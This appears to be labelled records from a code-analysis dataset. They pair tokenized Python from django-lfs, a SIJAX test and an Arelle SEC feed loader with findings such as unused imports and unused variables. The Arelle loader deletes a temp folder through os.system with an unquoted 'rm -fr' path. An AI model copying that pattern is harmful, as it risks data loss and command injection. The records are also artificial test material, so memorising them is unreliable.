"\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "=_", "inst_", "._", "\\u\\u", "class\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inst_", "._", "register", "\\u", "callback_", "(_", "\"", "my", "\\u", "func", "\"_", ",_", "my", "\\u", "callback_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "a", " ", "valid", " ", "call", " ", "tha", "t", " ", "wou", "ld", " ", "succeed_", "\\u\\u\\uNL\\u\\u\\u_", "inst_", "._", "set\\u", "data_", "(_", "{_", "cls_", "._", "PARAM", "\\u", "REQUEST_", ":_", "\"", "my", "\\u", "func", "\"_", ",_", "cls_", "._", "PARAM", "\\u", "ARGS_", ":_", "'[", "\"", "arg", "1", "\",", " ", "1", "2", "]'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "._", "is", "\\u", "si", "jax", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\"", "my", "\\u", "func", "\"_", ",_", "inst_", "._", "request", "ed", "\\u", "function_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "\"", "arg", "1", "\"_", ",_", "12_", "]_", ",_", "inst_", "._", "request", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "inst_", "._", "process", "\\u", "request_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "response_", ",_", "string", "\\u", "types_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "a", " ", "call", " ", "with", " ", "a", " ", "wrong", " ", "number", " ", "of", " ", "argu", "ment", "s", ",", " ", "and", " ", "a", " ", "default_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "event", " ", "handler", " ", "for", " ", "invalid", " ", "calls_", "\\u\\u\\uNL\\u\\u\\u_", "inst_", "._", "set\\u", "data_", "(_", "{_", "cls_", "._", "PARAM", "\\u", "REQUEST_", ":_", "\"", "my", "\\u", "func", "\"_", ",_", "cls_", "._", "PARAM", "\\u", "ARGS_", ":_", "'[", "\"", "arg", "1", "\"]'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "inst_", "._", "is", "\\u", "si", "jax", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\"", "my", "\\u", "func", "\"_", ",_", "inst_", "._", "request", "ed", "\\u", "function_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "\"", "arg", "1", "\"_", "]_", ",_", "inst_", "._", "request", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "inst_", "._", "process", "\\u", "request_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "response_", ",_", "string", "\\u", "types_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "commands_", "=_", "json_", "._", "loads_", "(_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Inva", "lid", " ", "JSO", "N", " ", "generat", "ed", "!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "commands_", ",_", "list_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "expect", " ", "the", " ", "default", " ", "\"", "Action", " ", "perform", "ed", " ", "in", " ", "a", " ", "wrong", " ", "way", "\"", " ", "alert_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "1_", ",_", "len_", "(_", "commands_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "command", "\\u", "data_", "=_", "commands_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "type", "\"_", "in_", "command", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\"", "alert", "\"_", ",_", "command", "\\u", "data_", "[_", "\"", "type", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "an", " ", "invalid", " ", "call", " ", "with", " ", "a", " ", "custom", " ", "event", " ", "handler", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "inst_", "._", "register", "\\u", "event_", "(_", "cls_", "._", "EVENT", "\\u", "INVALID", "\\u", "CALL_", ",_", "invalid", "\\u", "call_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inst_", "._", "set\\u", "data_", "(_", "{_", "cls_", "._", "PARAM", "\\u", "REQUEST_", ":_", "\"", "my", "\\u", "func", "\"_", ",_", "cls_", "._", "PARAM", "\\u", "ARGS_", ":_", "'[]'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\"", "my", "\\u", "func", "\"_", ",_", "inst_", "._", "request", "ed", "\\u", "function_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "]_", ",_", "inst_", "._", "request", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "inst_", "._", "process", "\\u", "request_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "response_", ",_", "string", "\\u", "types_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "let", "'", "s", " ", "see", " ", "if", " ", "calling", " ", "works", " ", "with", " ", "default", " ", "arguments_", "\\u\\u\\uNL\\u\\u\\u_", "inst_", "._", "register", "\\u", "callback_", "(_", "\"", "my", "\\u", "func", "\"_", ",_", "my", "\\u", "callback", "\\u", "with", "\\u", "defaults_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "inst_", "._", "process", "\\u", "request_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "response_", ",_", "string", "\\u", "types_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "let", "'", "s", " ", "ensure", " ", "tha", "t", " ", "rais", "ing", " ", "a", " ", "Type", "Error", " ", "from", " ", "within", " ", "a", " ", "handler", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "not", " ", "mist", "ake", "n", " ", "for", " ", "an", " ", "invalid", " ", "call", " ", "(", "EVENT", "\\u", "INVALID", "\\u", "CALL", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "re", "-", "raise", "s", " ", "the", " ", "exception_", "\\u\\u\\uNL\\u\\u\\u_", "inst_", "._", "register", "\\u", "callback_", "(_", "\"", "my", "\\u", "func", "\"_", ",_", "my", "\\u", "callback", "\\u", "rais", "ing", "\\u", "Type", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inst_", "._", "process", "\\u", "request_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "call", "\\u", "history_", "._", "append_", "(_", "'", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "inst_", "._", "register", "\\u", "callback_", "(_", "\"", "my", "\\u", "func", "\"_", ",_", "my", "\\u", "callback", "\\u", "rais", "ing", "\\u", "Type", "Error", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inst_", "._", "process", "\\u", "request_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "call", "\\u", "history_", "._", "append_", "(_", "'", "Type", "Error", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "expected_", "=_", "[_", "'", "call", " ", "ok", "'_", ",_", "'", "invalid", " ", "my", "\\u", "callback", "'_", ",_", "'", "default", "s", " ", "ok", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Type", "Error", "'_", ",_", "'", "Type", "Error", "2", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "call", "\\u", "history_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
diefenbach/django-lfs/lfs/manage/views/utils.py
[ { "content": "# django imports\nfrom django.contrib.auth.decorators import permission_required\nfrom django.core.urlresolvers import reverse\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.utils.translation import ugettext_lazy as _\nfrom django import forms\n\n# lfs imports\nimport lfs.caching.utils\nimport lfs.core.utils\nimport lfs.catalog.models\nimport lfs.marketing.utils\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@permission_required(\"core.manage_shop\")\ndef utilities(request, template_name=\"manage/utils.html\"):\n \"\"\"Displays the utility view.\n \"\"\"\n return render_to_response(template_name, RequestContext(request, {}))", "metadata": "root.utilities", "header": "['module', '___EOS___']", "index": 15 }, { "content": "@permission_required(\"core.manage_shop\")\ndef reindex_topseller(request):\n \"\"\"Clears and reindexes the topsellers.\n \"\"\"\n lfs.marketing.utils.calculate_product_sales()\n return lfs.core.utils.set_message_cookie(\n url=reverse(\"lfs_manage_utils\"),\n msg=_(u\"Topseller have been reindexed.\"),\n )", "metadata": "root.reindex_topseller", "header": "['module', '___EOS___']", "index": 22 }, { "content": "@permission_required(\"core.manage_shop\")\ndef clear_cache(request):\n \"\"\"Clears the whole cache.\n \"\"\"\n lfs.caching.utils.clear_cache()\n return lfs.core.utils.set_message_cookie(\n url=reverse(\"lfs_manage_utils\"),\n msg=_(u\"Cache has been cleared.\"),\n )", "metadata": "root.clear_cache", "header": "['module', '___EOS___']", "index": 33 }, { "content": "@permission_required(\"core.manage_shop\")\ndef set_category_levels(request):\n \"\"\"Sets the category levels based on the position in category hierarchy.\n \"\"\"\n lfs.core.utils.set_category_levels()\n return lfs.core.utils.set_message_cookie(\n url=reverse(\"lfs_manage_utils\"),\n msg=_(u\"Category levels have been created.\"),\n )", "metadata": "root.set_category_levels", "header": "['module', '___EOS___']", "index": 44 }, { "content": "@permission_required(\"core.manage_shop\")\ndef update_effective_price(request):\n \"\"\"Saves the price or sale price to effective price.\n \"\"\"\n for product in lfs.catalog.models.Product.objects.all():\n product.save()\n\n return lfs.core.utils.set_message_cookie(\n url=reverse(\"lfs_manage_utils\"),\n msg=_(u\"Effective prices have been set.\"),\n )", "metadata": "root.update_effective_price", "header": "['module', '___EOS___']", "index": 55 } ]
[ { "span": "from django import forms", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 24 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "django", " ", "imports_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "decorators_", "import_", "permissi", "on", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "urlresolvers_", "import_", "reverse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "shortcuts_", "import_", "render", "\\u", "to", "\\u", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "import_", "Request", "Context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "uge", "ttext", "\\u", "lazy_", "as_", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "import_", "forms_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "lf", "s", " ", "imports_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "lf", "s_", "._", "caching", "_", "._", "utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "lf", "s_", "._", "core_", "._", "utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "lf", "s_", "._", "catalog_", "._", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "lf", "s_", "._", "market", "ing_", "._", "utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "permissi", "on", "\\u", "required_", "(_", "\"", "core", ".", "manage", "\\u", "shop", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "utilities_", "(_", "request_", ",_", "template", "\\u", "name_", "=_", "\"", "manage", "/", "util", "s", ".", "html", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Display", "s", " ", "the", " ", "utility", " ", "view", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render", "\\u", "to", "\\u", "response_", "(_", "template", "\\u", "name_", ",_", "Request", "Context_", "(_", "request_", ",_", "{_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "permissi", "on", "\\u", "required_", "(_", "\"", "core", ".", "manage", "\\u", "shop", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "reindex", "\\u", "tops", "elle", "r_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Clear", "s", " ", "and", " ", "reindex", "es", " ", "the", " ", "tops", "elle", "rs", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lf", "s_", "._", "market", "ing_", "._", "utils_", "._", "calcul", "ate", "\\u", "product", "\\u", "sales", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "lf", "s_", "._", "core_", "._", "utils_", "._", "set\\u", "message", "\\u", "cookie_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "reverse_", "(_", "\"", "lf", "s", "\\u", "manage", "\\u", "util", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\\u_", "(_", "u", "\"", "Top", "seller", " ", "have", " ", "bee", "n", " ", "reindex", "ed", ".\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "permissi", "on", "\\u", "required_", "(_", "\"", "core", ".", "manage", "\\u", "shop", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "clear", "\\u", "cache_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Clear", "s", " ", "the", " ", "whole", " ", "cache", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lf", "s_", "._", "caching", "_", "._", "utils_", "._", "clear", "\\u", "cache_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "lf", "s_", "._", "core_", "._", "utils_", "._", "set\\u", "message", "\\u", "cookie_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "reverse_", "(_", "\"", "lf", "s", "\\u", "manage", "\\u", "util", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\\u_", "(_", "u", "\"", "Cache", " ", "has", " ", "bee", "n", " ", "clear", "ed", ".\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "permissi", "on", "\\u", "required_", "(_", "\"", "core", ".", "manage", "\\u", "shop", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "set\\u", "category", "\\u", "levels_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Set", "s", " ", "the", " ", "category", " ", "level", "s", " ", "based", " ", "on", " ", "the", " ", "position", " ", "in", " ", "category", " ", "hier", "arch", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lf", "s_", "._", "core_", "._", "utils_", "._", "set\\u", "category", "\\u", "levels_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "lf", "s_", "._", "core_", "._", "utils_", "._", "set\\u", "message", "\\u", "cookie_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "reverse_", "(_", "\"", "lf", "s", "\\u", "manage", "\\u", "util", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\\u_", "(_", "u", "\"", "Cate", "gory", " ", "level", "s", " ", "have", " ", "bee", "n", " ", "created", ".\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "permissi", "on", "\\u", "required_", "(_", "\"", "core", ".", "manage", "\\u", "shop", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "update", "\\u", "effective", "\\u", "price_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Save", "s", " ", "the", " ", "price", " ", "or", " ", "sal", "e", " ", "price", " ", "to", " ", "effective", " ", "price", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "product_", "in_", "lf", "s_", "._", "catalog_", "._", "models_", "._", "Product_", "._", "objects_", "._", "all_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "product_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "lf", "s_", "._", "core_", "._", "utils_", "._", "set\\u", "message", "\\u", "cookie_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "reverse_", "(_", "\"", "lf", "s", "\\u", "manage", "\\u", "util", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\\u_", "(_", "u", "\"", "Effe", "ctive", " ", "price", "s", " ", "have", " ", "bee", "n", " ", "set", ".\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
Arelle/Arelle/arelle/plugin/SECCorrespondenceLoader.py
[ { "content": "def secCorrespondenceLoader(modelXbrl, mappedUri, filepath, *args, **kwargs):\n if (mappedUri.startswith(\"http://www.sec.gov/Archives/edgar/Feed/\") and \n mappedUri.endswith(\".nc.tar.gz\")):\n \n # daily feed loader (the rss object)\n rssObject = ModelRssObject(modelXbrl, uri=mappedUri, filepath=filepath)\n \n # location for expanded feed files\n tempdir = os.path.join(modelXbrl.modelManager.cntlr.userAppDir, \"tmp\", \"edgarFeed\")\n \n # remove prior files\n if os.path.exists(tempdir):\n os.system(\"rm -fr {}\".format(tempdir)) # rmtree does not work with this many files!\n os.makedirs(tempdir, exist_ok=True)\n # untar to /temp/arelle/edgarFeed for faster operation\n startedAt = time.time()\n modelXbrl.fileSource.open()\n modelXbrl.fileSource.fs.extractall(tempdir)\n modelXbrl.info(\"info\", \"untar edgarFeed temp files in %.2f sec\" % (time.time() - startedAt), \n modelObject=modelXbrl)\n \n # find <table> with <a>Download in it\n for instanceFile in sorted(os.listdir(tempdir)): # modelXbrl.fileSource.dir:\n if instanceFile != \".\":\n rssObject.rssItems.append(\n SECCorrespondenceItem(modelXbrl, instanceFile, mappedUri + '/' + instanceFile))\n return rssObject\n elif \"rssItem\" in kwargs and \".nc.tar.gz/\" in mappedUri:\n rssItem = kwargs[\"rssItem\"]\n text = None # no instance information\n # parse document\n try:\n startedAt = time.time()\n file, encoding = modelXbrl.fileSource.file(\n os.path.join(modelXbrl.modelManager.cntlr.userAppDir, \"tmp\", \"edgarFeed\", \n os.path.basename(rssItem.url)))\n s = file.read()\n file.close()\n for match in re.finditer(r\"[<]([^>]+)[>]([^<\\n\\r]*)\", s, re.MULTILINE):\n tag = match.group(1).lower()\n v = match.group(2)\n if tag == \"accession-number\":\n rssItem.accessionNumber = v\n elif tag == \"form-type\":\n rssItem.formType = v\n if v != \"UPLOAD\":\n rssItem.doNotProcessRSSitem = True # skip this RSS item in validate loop, don't load DB\n elif tag == \"filing-date\":\n try:\n rssItem.filingDate = datetime.date(int(v[0:4]), int(v[4:6]), int(v[6:8]))\n except (ValueError, IndexError):\n pass\n elif tag == \"conformed-name\":\n rssItem.companyName = v\n elif tag == \"cik\":\n rssItem.cikNumber = v\n elif tag == \"assigned-sic\":\n rssItem.assignedSic = v\n elif tag == \"fiscal-year-end\":\n try: \n rssItem.fiscalYearEnd = v[0:2] + '-' + v[2:4]\n except (IndexError, TypeError):\n pass \n match = re.search(\"<PDF>(.*)</PDF>\", s, re.DOTALL)\n if match:\n import uu, io\n pageText = []\n uuIn = io.BytesIO(match.group(1).encode(encoding))\n uuOut = io.BytesIO()\n uu.decode(uuIn, uuOut)\n from pyPdf import PdfFileReader\n uuOut.seek(0,0)\n try:\n pdfIn = PdfFileReader(uuOut)\n for pageNum in range(pdfIn.getNumPages()):\n pageText.append(pdfIn.getPage(pageNum).extractText())\n except:\n # do we want a warning here that the PDF can't be read with this library?\n pass\n uuIn.close()\n uuOut.close()\n text = ''.join(pageText)\n else:\n match = re.search(\"<TEXT>(.*)</TEXT>\", s, re.DOTALL)\n if match:\n text = match.group(1)\n except (IOError, EnvironmentError):\n pass # give up, no instance\n # daily rss item loader, provide unpopulated instance document to be filled in by RssItem.Xbrl.Loaded\n if not text:\n rssItem.doNotProcessRSSitem = True # skip this RSS item in validate loop, don't load DB\n instDoc = ModelDocument.create(modelXbrl, \n ModelDocument.Type.UnknownXML,\n rssItem.url,\n isEntry=True,\n base='', # block pathname from becomming absolute\n initialXml='<DummyXml/>')\n else:\n instDoc = ModelDocument.create(modelXbrl, \n ModelDocument.Type.INSTANCE,\n rssItem.url,\n isEntry=True,\n base='', # block pathname from becomming absolute\n initialXml='''\n<xbrli:xbrl xmlns:doc=\"http://arelle.org/doc/2014-01-31\" \n xmlns:link=\"http://www.xbrl.org/2003/linkbase\" \n xmlns:xlink=\"http://www.w3.org/1999/xlink\" \n xmlns:xbrli=\"http://www.xbrl.org/2003/instance\">\n <link:schemaRef xlink:type=\"simple\" xlink:href=\"http://arelle.org/2014/doc-2014-01-31.xsd\"/>\n <xbrli:context id=\"pubDate\">\n <xbrli:entity>\n <xbrli:identifier scheme=\"http://www.sec.gov/CIK\">{cik}</xbrli:identifier>\n </xbrli:entity>\n <xbrli:period>\n <xbrli:instant>{pubDate}</xbrli:instant>\n </xbrli:period>\n </xbrli:context>\n <doc:Correspondence contextRef=\"pubDate\">{text}</doc:Correspondence>\n</xbrli:xbrl>\n '''.format(cik=rssItem.cikNumber,\n pubDate=rssItem.pubDate.date(),\n text=text.strip().replace(\"&\",\"&amp;\").replace(\"<\",\"&lt;\")))\n #modelXbrl.info(\"info\", \"loaded in %.2f sec\" % (time.time() - startedAt),\n # modelDocument=instDoc)\n return instDoc\n\n return None", "metadata": "root.secCorrespondenceLoader", "header": "['module', '___EOS___']", "index": 67 } ]
[ { "span": "startedAt ", "start_line": 99, "start_column": 12, "end_line": 99, "end_column": 21 } ]
[]
1
true
